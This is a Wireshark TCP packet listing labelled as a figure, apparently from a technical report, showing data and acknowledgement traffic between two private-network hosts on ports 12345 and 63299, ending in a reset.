ш	3390 25.514042	192.168.142.146	12345 192.168.142.1	TCP	2112 12345 → 63299 [PSH, ACK] Seq=25 Ack=8 Win=2102272 Len=2058
ш	3391 25.514273	192.168.142.1	63299 192.168.142.146	TCP	60 63299 → 12345 [ACK] Seq=8 Ack=1485 Win=1049600 Len=0
ш	3392 25.514273	192.168.142.1	63299 192.168.142.146	TCP	60 [TCP Window Update] 63299 → 12345 [ACK] Seq=8 Ack=1485 Win=1051136 Len=0
ш	3393 25.561213	192.168.142.1	63299 192.168.142.146	TCP	60 63299 → 12345 [ACK] Seq=8 Ack=2083 Win=1050368 Len=0
ш	3430 30.644442	192.168.142.1	63299 192.168.142.146	TCP	66 63299 → 12345 [PSH, ACK] Seq=8 Ack=2083 Win=1050368 Len=12
ш	3431 30.688474	192.168.142.146	12345 192.168.142.1	TCP	54 12345 → 63299 [ACK] Seq=2083 Ack=20 Win=2102272 Len=0
ш	3432 30.745564	192.168.142.146	12345 192.168.142.1	TCP	16114 12345 → 63299 [ACK] Seq=2083 Ack=20 Win=2102272 Len=16060
ш	3433 30.745878	192.168.142.1	63299 192.168.142.146	TCP	60 63299 → 12345 [ACK] Seq=20 Ack=3543 Win=1051136 Len=0
ш	3434 30.745878	192.168.142.1	63299 192.168.142.146	TCP	60 63299 → 12345 [ACK] Seq=20 Ack=5003 Win=1051136 Len=0
ш	3435 30.745879	192.168.142.1	63299 192.168.142.146	TCP	60 63299 → 12345 [ACK] Seq=20 Ack=7923 Win=1048064 Len=0
ш	3436 30.745879	192.168.142.1	63299 192.168.142.146	TCP	60 [TCP Window Update] 63299 → 12345 [ACK] Seq=20 Ack=7923 Win=1051136 Len=0
ш	3437 30.745879	192.168.142.1	63299 192.168.142.146	TCP	60 63299 → 12345 [ACK] Seq=20 Ack=10843 Win=1050624 Len=0
ш	3438 30.745879	192.168.142.1	63299 192.168.142.146	TCP	60 63299 → 12345 [ACK] Seq=20 Ack=13763 Win=1051136 Len=0
ш	3439 30.745880	192.168.142.1	63299 192.168.142.146	TCP	60 63299 → 12345 [ACK] Seq=20 Ack=15223 Win=1051136 Len=0
ш	3440 30.745880	192.168.142.1	63299 192.168.142.146	TCP	60 63299 → 12345 [ACK] Seq=20 Ack=16683 Win=1051136 Len=0
ш	3441 30.745926	192.168.142.146	12345 192.168.142.1	TCP	4934 12345 → 63299 [PSH, ACK] Seq=18143 Ack=20 Win=2102272 Len=4880
ш	3442 30.746122	192.168.142.1	63299 192.168.142.146	TCP	60 63299 → 12345 [ACK] Seq=20 Ack=19603 Win=1049856 Len=0
ш	3443 30.746122	192.168.142.1	63299 192.168.142.146	TCP	60 63299 → 12345 [ACK] Seq=20 Ack=22523 Win=1051136 Len=0
ш	3444 30.790535	192.168.142.1	63299 192.168.142.146	TCP	60 63299 → 12345 [ACK] Seq=20 Ack=23023 Win=1050624 Len=0
	3482 35.470617	192.168.142.1	63299 192.168.142.146	TCP	60 63299 → 12345 [PSH, ACK] Seq=20 Ack=23023 Win=1050624 Len=5
L	3483 35.525607	192.168.142.146	12345 192.168.142.1	TCP	54 12345 → 63299 [ACK] Seq=23023 Ack=25 Win=2102272 Len=0
Ľ	- 3484 35.594127	192.168.142.146	12345 192.168.142.1	TCP	54 12345 → 63299 [RST, ACK] Seg=23023 Ack=25 Win=0 Len=0

Figure 9 - Wireshark TCP stream